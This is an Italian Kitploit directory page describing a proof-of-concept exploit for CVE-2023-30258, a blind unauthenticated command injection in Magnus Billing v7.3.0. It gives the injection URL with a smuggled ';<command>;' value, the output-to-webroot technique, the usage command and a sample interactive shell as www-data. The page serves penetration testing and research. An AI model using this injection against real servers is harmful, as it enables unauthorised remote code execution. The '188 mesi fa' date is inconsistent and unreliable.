Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-30258-Magnus-Billing-v7-Command-Injection-PoC — Vulnerabilità di iniezione di comandi non autenticata in Magnus Billing v7.3.0. | Kitploit
Strumenti/GitHubGitHub/estebanzarate/cve-2023-30258-magnus-billing-v7-command-injection-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and Control
GitHubestebanzarate/cve-2023-30258-magnus-billing-v7-command-injection-poc

CVE-2023-30258-Magnus-Billing-v7-Command-Injection-PoC

Vulnerabilità di iniezione di comandi non autenticata in Magnus Billing v7.3.0.

Vedi Repository
188 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-30258 — Magnus Billing v7 Iniezione di Comando (PoC)

Vulnerabilità di iniezione di comando non autenticata in Magnus Billing v7.3.0. Il parametro GET democ in icepay.php viene passato direttamente a una funzione shell senza sanificazione, consentendo l'esecuzione arbitraria di comandi come utente del server web. L'iniezione è cieca — l'output non viene riflesso nella risposta HTTP — quindi questo exploit reindirizza l'output di ogni comando in un file nella webroot e lo recupera tramite HTTP.


Come funziona

  1. Invia una richiesta GET a /mbilling/lib/icepay/icepay.php?democ=;<command>;.
  2. Redirige l'output del comando in un file all'interno della webroot (out.txt).
  3. Recupera il file di output tramite HTTP e stampa il risultato.
  4. Elimina il file di output all'uscita.

Se il target utilizza un percorso webroot diverso, modifica OUTPUT_FILE all'inizio dello script.

Requisiti

  • Python 3
  • Installa le dipendenze:
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

Utilizzo

python3 exploit.py -t http://TARGET

Esempio:

$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

Riferimenti

  • CVE-2023-30258
  • EDB-52170
  • PoC originale di Tinashe Matanda

Crediti

  • Scoperta ed exploit originale: Tinashe Matanda (SadNinja) / CodeSecLab
  • Pulizia e shell interattiva: Esteban Zárate
Scarica lo strumento